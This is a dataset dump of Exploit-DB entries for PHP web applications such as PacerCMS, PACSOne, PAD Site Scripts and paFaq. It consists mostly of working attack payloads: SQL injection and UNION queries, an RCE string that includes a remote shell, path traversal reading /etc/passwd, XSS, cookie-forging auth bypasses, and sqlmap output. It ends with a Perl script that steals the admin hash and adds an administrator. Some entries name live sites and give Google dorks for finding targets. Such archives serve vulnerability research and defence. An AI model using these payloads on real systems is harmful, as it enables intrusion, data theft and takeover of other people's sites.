deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31048
Description: PacerCMS 0.6 - 'id' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-01-22
Author: RawSecurity.org

Exploit:
source: https://www.securityfocus.com/bid/27397/info

PacerCMS is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

These issues affect versions prior to PacerCMS 0.6.1.

NOTE: To exploit these issues, the attacker may require 'staff member' access.

http://www.example.com/pacercms/siteadmin/article-edit.php?id=[SQL]
Exploit-DB #5098
Description: PacerCMS 0.6 - 'last_module' Remote Code Execution
Type: webapps
Platform: php
Date: 2008-02-10
Author: GoLd_M

Exploit:
### PacerCMS 0.6 (last_module) Remote Code Execution Vulnerability
### Script : http://ovh.dl.sourceforge.net/sourceforge/pacercms/pacercms0.6.zip
### Dork : Powered by PacerCMS
### POC :
###     /includes/adodb_lite/adodb-perf-module.inc.php?last_module=t{};%20class%20t{};passthru(ls);//
###     OR INCLUDE SHELL
###     /includes/adodb_lite/adodb-perf-module.inc.php?last_module=t{};%20class%20t{};include(URL-SHELL);//
###  I'm TrYaGi ......:)

# milw0rm.com [2008-02-10]
Exploit-DB #27808
Description: Pacheckbook 1.1 - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-05-03
Author: almaster

Exploit:
source: https://www.securityfocus.com/bid/17821/info

Pacheckbook is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/custdemos/cmuuugy61u0m/index.php?action=add&transtype=|SQL]
http://www.example.com/custdemos/cmuuugy61u0m/index.php?action=edit&start=0&transtype=1&entry=|SQL|
Exploit-DB #10571
Description: PacketFence Network Access Controller - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-20
Author: K053

Exploit:
# Title : Injection Flaw in PacketFence Network Access Controller
# Date : 20-12-2009
# Author : K053
# Tested on : Private Networks
# Download : http://www.packetfence.org/download/releases.html
______________________________________________________________________________________________
Note :
------
PacketFence is a fully supported, Free and Open Source network access control (NAC) system.
PacketFence is actively maintained and has been deployed in numerous large-scale institutions
over the past years. It can be used to effectively secure networks - from small to very large
heterogeneous networks.
______________________________________________________________________________________________
Bug [ Login.php ] :
-------------------
function check_input($input){
  if(preg_match("/^[\@a-zA-Z0-9_\:\,\(\)]/", $input) && strlen($input) <= 15){
    return true;
  }
  else{
    print "Invalid parameter: $input<br>";
    return false;
  }
}

//TODO are we being too difficult on what we accept as a password? ie: pass starting with ; is invalid
function check_sensitive_input($input){
  if(preg_match("/^[\@a-zA-Z0-9_\:\,\(\)]/", $input) && strlen($input) <= 15){
    return true;
  }
  else{
    print "Invalid sensitive parameter<br>";
    return false;
  }
}
______________________________________________________________________________________________
Poc :
-----
The Function fail on input validation on passed data, application is vulnerable to injection flaw like
Xss , Html Code injection ... :

Attacker can perform attack via post method : manipulate passed data or just enter something like
<script>alert(0)</script> in username filed .
______________________________________________________________________________________________
Exploit-DB #48024
Description: PackWeb Formap E-learning 1.0 - 'NumCours' SQL Injection
Type: webapps
Platform: php
Date: 2020-02-07
Author: Amel BOUZIANE-LEBLOND

Exploit:
# Exploit Title: PackWeb Formap E-learning 1.0 - 'NumCours' SQL Injection
# Google Dork: intitle: "PackWeb Formap E-learning"
# Date: 2020-02-07
# Exploit Author: Amel BOUZIANE-LEBLOND
# Vendor Homepage: https://www.ediser.com/
# Software Link: https://www.ediser.com/98517-formation-en-ligne
# Version: v1.0
# Tested on: Linux
# CVE : N/A

# Description:
# The PackWeb Formap E-learning application from EDISER is vulnerable to
# SQL injection via the 'NumCours' parameter on the eleve_cours.php

==================== 1. SQLi ====================

http://localhost/eleve_cours.php?NumCours=[SQLI]

The 'NumCours' parameter is vulnerable to SQL injection.

GET parameter 'NumCours' is vulnerable.

---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: http://localhost/eleve_cours.php?NumCours=-9758' OR 6342=6342-- rSaq&static=1

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SLEEP)
    Payload: http://localhost/eleve_cours.php?NumCours=' AND SLEEP(5)-- rGcs&static=1

    Type: UNION query
    Title: MySQL UNION query (47) - 1 column
    Payload: http://localhost/eleve_cours.php?NumCours=' UNION ALL SELECT CONCAT(0x[PII_REDACTED],0x58794e58714e52434d[PII_REDACTED]574a506d6f41526e636444674d5a6863667a[PII_REDACTED]654d54,0x717a7a6a71)#&static=1
---
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
Exploit-DB #7318
Description: PacPoll 4.0 - Database Disclosure
Type: webapps
Platform: php
Date: 2008-12-01
Author: AlpHaNiX

Exploit:
###########################################################################
#-----------------------------OffensiveTrack------------------------------#
###########################################################################


---------------------------- Tunisia Muslim ------------------------------




#found by : OffensiveTrack
#Author   : AlpHaNiX
#website  : www.offensivetrack.org

#contact  : AlpHa[AT]HACKER[DOT]BZ




###########################################################################



#script   : PacPoll
#version  : v4
#download : http://pacosdrivers.com/asp/poll/count.asp?u_link=dload.asp




#Exploit :
http://target.com/script/poll.mdb
http://target.com/script/poll97.mdb

#live example :
http://pacosdrivers.com/asp/poll/poll.mdb





#greetz : Zigma , Serh , Simo-Soft &  dear Slax

###########################################################################

# milw0rm.com [2008-12-01]
Exploit-DB #43907
Description: PACSOne Server 6.6.2 DICOM Web Viewer - Directory Trasversal
Type: webapps
Platform: php
Date: 2018-01-28
Author: Carlos Avila

Exploit:
# Exploit Title: PACSOne Server 6.6.2 DICOM Web Viewer Directory Trasversal / Local File Inclusion
# Date: 08/14/2017
# Software Link: http://www.pacsone.net/download.htm
# Google Dork: inurl:pacs/login.php	inurl:pacsone/login.php		inurl:pacsone filetype:php home		inurl:pacsone filetype:php login
# Version: PACSOne Server 6.6.2
# Category: webapps
# Tested on: Windows 7 / Debian Linux
# Exploit Author: Carlos Avila
# Contact: http://twitter.com/badboy_nt



1. Description
  
DICOM Web Viewer is a component written in PHP that is part of PacsOne software. In version 6.6.2, it is vulnerable to local file inclusion. This allows an attacker to read arbitrary files that the web user has access to. Admin credentials aren't required.
The 'path' parameter via GET is vulnerable.

Found: 08/14/2017
Vendor Reply & Fix: 09/28/2017

  
2. Proof of Concept


http://localhost/pacs/nocache.php?path=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini

http://localhost/pacsone/nocache.php?path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2f.%2fzpx%2f..%2fpasswd


3. Solution:

Application inputs must be validated correctly.
Exploit-DB #43908
Description: PACSOne Server 6.6.2 DICOM Web Viewer - SQL Injection
Type: webapps
Platform: php
Date: 2018-01-28
Author: Carlos Avila

Exploit:
# Exploit Title: PACSOne Server 6.6.2 DICOM Web Viewer SQL Injection
# Date: 08/14/2017
# Software Link: http://www.pacsone.net/download.htm
# Version: PACSOne Server 6.6.2
# Exploit Author: Carlos Avila
# Google Dork: inurl:pacs/login.php	inurl:pacsone/login.php		inurl:pacsone filetype:php home		inurl:pacsone filetype:php login
# Category: webapps
# Tested on: Windows 7 / Debian Linux
# Contact: http://twitter.com/badboy_nt

1. Description
  
DICOM Web Viewer is a component written in PHP. In version 6.6.2, it is vulnerable to SQL Injection. This allows unauthenticated remote attacker to execute arbitrary SQL commands and obtain private information. Admin credentials aren't required.
The 'username' and 'email' parameters via POST are vulnerable.

Found: 08/14/2017
Last Vendor Reply & Fix: 09/28/2017
  
2. Proof of Concept


POST /pacs/userSignup.php HTTP/1.1
Host: 192.168.6.105
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 206
Referer: http://192.168.6.105/pacs/userSignup.php?hostname=localhost&database=dicom
Cookie: PHPSESSID=k0ggg80jcl6m61nrmp12esvat2
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

hostname=localhost&database=dicom&username=test&[CREDENTIAL_REDACTED]=test&lastname=test&email=test&action=Sign+Up


root@kali18:~# sqlmap -r pacsone_local -v 2 -f -p email --dbms mysql –dbs

web server operating system: Windows
web application technology: Apache 2.4.23, PHP 5.6.25
back-end DBMS: active fingerprint: MySQL >= 5.5.0
               comment injection fingerprint: MySQL 5.7.14
               html error message fingerprint: MySQL
[20:09:33] [INFO] fetching database names
[20:09:33] [INFO] the SQL query used returns 2 entries
[20:09:33] [INFO] retrieved: information_schema
[20:09:33] [INFO] retrieved: dicom
[20:09:33] [DEBUG] performed 3 queries in 0.11 seconds
available databases [2]:
[*] dicom
[*] information_schema


3. Solution:

Application inputs must be validated correctly.
Exploit-DB #9531
Description: PAD Site Scripts 3.6 - 'list.php?string' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-26
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability ( list.php string )
##
## PAD Site Scripts v3.6
##
## www.pad-site-scripts.com
##
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.55a.NeT
##
## Email  : SQL@HoTmail.iT
##
########################
########################
##
## -[[: Exploite :]]-
##
## www.TraGeT.CoM/list.php?string=1&match=1&search=1/**/AND/**/1=0/**/UNION/**/SELECT/**/0,0,CONCAT_WS(0x3a,table_name,column_name),0,0,0,0,0,0,0,0,0,0,0,0,0/**/FROM/**/INFORMATION_SCHEMA.COLUMNS--
## www.TraGeT.CoM/rss.php?cat=' {{SQL}}
##
## -[[: XSS :]]-
##
## www.TraGeT.CoM/rss.php?cat="><script>alert()</script>
## www.TraGeT.CoM/opml.php?cat="><script>alert()</script>
##
########################
########################


#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
:: HaCkEr_EGy :: Dark MaSTer  :: His0k4 :: User-Ma$keN :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
#########################################################################################################

# milw0rm.com [2009-08-26]
Exploit-DB #8850
Description: PAD Site Scripts 3.6 - Arbitrary Database Backup
Type: webapps
Platform: php
Date: 2009-06-01
Author: TiGeR-Dz

Exploit:
---------------------------------------------------------------
---------------------------------------------------------------
PAD Site Scripts v3.6 Bypass DB Backup Vulnerability
---------------------------------------------------------------
Founder : TiGeR-Dz
Home:http://www.pad-site-scripts.com
Script:PAD Site Scripts v3.6
Download:http://www.pad-site-scripts.com/demo.php
Thank you my best Friends The g0bL!N and Hisok4
---------------------------------------------------------------
Exploit
-------
www.site.com/[path]/dbbackup.php
Note: We can not download Backup Because This site is required name admin and password for download Backup
and We will read Backup Without Download
Go to www.site.com/dbbackup.txt

And booooooooooom The backup is reading :)
----------------------------------------------------------------
Dem0
----
http://demo.pad-site-scripts.com/sysop/dbbackup.php
Go to
http://demo.pad-site-scripts.com/dbbackup.txt

And booooooooooom The backup is reading :)
--------------------------------------
Greeting To ALL My Friends (Dz)
----------------------------------------------------------------

# milw0rm.com [2009-06-01]
Exploit-DB #8735
Description: PAD Site Scripts 3.6 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-05-19
Author: Mr.tro0oqy

Exploit:
=======================================================
+++++++++++++++++++ information +++++++++++++++++++++++
=======================================================
[+] Script :PAD Site Scripts v3.6 Insecure Cookie Handling Vulnerability

[+] Found by : Mr.tro0oqy  
   
[+] C0ntact : t.4@windowslive.com <Yemeni ana>
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
exploit:
--------
javascript:document.cookie="authuser=[demo];path=/";

[demo]= Guess the username to the login

demo:
-----
Username for this site 'demo'

javascript:document.cookie="authuser=demo;path=/";

http://demo.pad-site-scripts.com/sysop

demo2:
------
Username for this site 'admin'

javascript:document.cookie="authuser=admin;path=/";

http://www.unlimitedpcdownloads.com/sysop/


=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================
ThE g0bL!N - spyboy - red virus - virus_hima - Red-D3v1L
Cyb3r-DeViL- OXIDE

Syriahacker.net [ArAb Acadmy Security]  

all my Friends

# milw0rm.com [2009-05-19]
Exploit-DB #18340
Description: Paddelberg Topsite Script - Authentication Bypass
Type: webapps
Platform: php
Date: 2012-01-09
Author: Christian Inci

Exploit:
# Exploit Title: Paddelberg's topsite-script admin auth bypass.
# Google Dork: intext:"powered by php scripte webmaster resource"
# Date: 8. 1. 2012
# Author: Christian Inci
# Software Link: http://www.paddelberg.de/gratis-toplisten-script/gratis-download/
# Version: <= 1.23 (22. 9. 2007)
# Tested on: 1.23
# Vendor response: None, as I didn't contacted them.

PoC/Exploit:
1.: Open a random cookie editor.
2.: Create a cookie, as usually:
  2.1: Set the host name.
  2.2: Set the path name. (e.g.: "[script-base-path]/admin/")
  2.3: Set the cookie name to "xxxtopa".
  2.4: Set the cookie value to ":".
  2.5: Save it.
3.: Visit the following URL: "[script-base-url]/admin/". (This won't work if the directory is "protected" with a .htaccess file.)
4.: Do whatever you like to do here. (Have fun!)
Exploit-DB #25856
Description: PAFaq - Administrator 'Username' SQL Injection
Type: webapps
Platform: php
Date: 2005-06-20
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/14003/info

paFaq is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/pafaq/admin/index.php?act=login&username='%20UNION%20SELECT%20id,name,'3858f62230ac3c915f300c664312c63f',email,notify,permissions,session%20FROM%20pafaq_admins%20WHERE%201/*&[CREDENTIAL_REDACTED]
Exploit-DB #25854
Description: PAFaq - Question Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-06-20
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/14001/info

paFaq is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/pafaq/index.php?act=Question&id=1%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
Exploit-DB #25115
Description: paFaq beta4 - 'answer.php?offset' SQL Injection
Type: webapps
Platform: php
Date: 2005-02-17
Author: pi3ch

Exploit:
source: https://www.securityfocus.com/bid/12582/info
 
paFaq is reportedly affected by an SQL injection vulnerability. This issue exists because the application fails to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
This vulnerability is reported to affect paFaq beta4; earlier versions may also be affected. 

http://www.example.com/index.php?act=Answer&cid=1&id=1&offset='
Exploit-DB #25117
Description: paFaq beta4 - 'comment.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-02-17
Author: pi3ch

Exploit:
source: https://www.securityfocus.com/bid/12582/info
  
paFaq is reportedly affected by an SQL injection vulnerability. This issue exists because the application fails to properly sanitize user-supplied input before using it in SQL queries.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
  
This vulnerability is reported to affect paFaq beta4; earlier versions may also be affected. 

http://www.example.com/index.php?act=Speak&code=05&poster=1&name=2&question=3&email=4&cat_id='
http://www.example.com/index.php?act=Speak&code=02&cid='&id=1&poster=1&name=2&answer=3&email=4
http://www.example.com/index.php?act=Speak&code=02&cid=1&id='&poster=1&name=2&answer=3&email=4
Exploit-DB #25114
Description: paFaq beta4 - 'question.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-02-17
Author: pi3ch

Exploit:
source: https://www.securityfocus.com/bid/12582/info

paFaq is reportedly affected by an SQL injection vulnerability. This issue exists because the application fails to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

This vulnerability is reported to affect paFaq beta4; earlier versions may also be affected. 

http://www.example.com/index.php?act=Question&id=1&limit=10&orderby=q_id&order=DESC&offset='
http://www.example.com/index.php?act=Question&id=1&orderby=q_id&order=DESC&limit='
http://www.example.com/index.php?act=Question&id=1&orderby=q_id&order='&limit=10
http://www.example.com/index.php?act=Question&id=1&orderby='&order=DESC&limit=10
Exploit-DB #25116
Description: paFaq beta4 - 'search.php?search_item' SQL Injection
Type: webapps
Platform: php
Date: 2005-02-17
Author: pi3ch

Exploit:
source: https://www.securityfocus.com/bid/12582/info
 
paFaq is reportedly affected by an SQL injection vulnerability. This issue exists because the application fails to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
This vulnerability is reported to affect paFaq beta4; earlier versions may also be affected. 

http://www.example.com/index.php?act=Search&code=01&search_item='
Exploit-DB #25848
Description: PAFaq beta4 - Database Unauthorized Access
Type: webapps
Platform: php
Date: 2005-06-20
Author: james

Exploit:
source: https://www.securityfocus.com/bid/13999/info

paFaq is prone to an unauthorized access vulnerability regarding the database. This issue is a result of the application failing to perform access validation on the 'backup.php' script. A remote unauthenticated user can invoke the script and retrieve a complete backup of the application database.

A remote attacker could exploit this vulnerability to authenticate to the application using a retrieved administrator username and password hash. 

#!/usr/bin/perl -w
##########################################################################
# paFaq 1.0 Add Administrator PoC // By James // http://www.gulftech.org
##########################################################################

use LWP::UserAgent;

# Set up the LWP User Agent
$ua = new LWP::UserAgent;
$ua->agent("paFaq Hash Grabber v1.0");

if ( !$ARGV[0] ) { print "Usage : pafaq.pl http://path/to/pafaq"; exit; }

my $key_time = time();

my $dbm_path = $ARGV[0] . '/admin/backup.php';
my $add_user = 'pafaq'; # change this?
my $add_pass = 'pafaq'; # change this?
my $add_email = 'pafaq@dev.null'; # change this?
my $add_path = $ARGV[0] . '/admin/index.php?area=users&act=doadd&name=' . $add_user . '&password=' . $add_pass . '&email=' . $add_email .
'&notify=1&can_edit_settings=1&can_edit_admins=1&can_add_admins=1&can_del_admins=1&is_a_admin=1';

print "[*] Trying Host " . $ARGV[0] . "\n";

my $dbm = $ua->get($dbm_path);

if ( $dbm->content =~ /'([0-9]{1,8})',\s'(.*)',\s'([a-f0-9]{32})'/i)
{
        print "[+] User ID Is " . $1 . "\n";
        print "[+] User Name Is " . $2 . "\n";
        print "[+] User Password Is " . $3 . "\n";
        print "[*] Trying to add new user ...\n";

        my @cookie = ('Cookie' => 'pafaq_user=' . $2 . '; pafaq_pass=' . $3);
        my $add = $ua->get($add_path, @cookie);

        if ( $add->content =~ /has been created successfully/ )
        {
                print "[+] User $add_user Added Successfully!\n";
                print "[+] User Password Is $add_pass\n";
        }
        else
        {
                print "[!] Unable To Add User! Maybe the username is already taken? ...\n";
                print "[!] Shutting Down ...\n";
                exit;
        }
}
else
{
        print "[!] The Host Is Not Vulnerable ...\n";
        print "[!] Shutting Down ...\n";
        exit;
}
exit;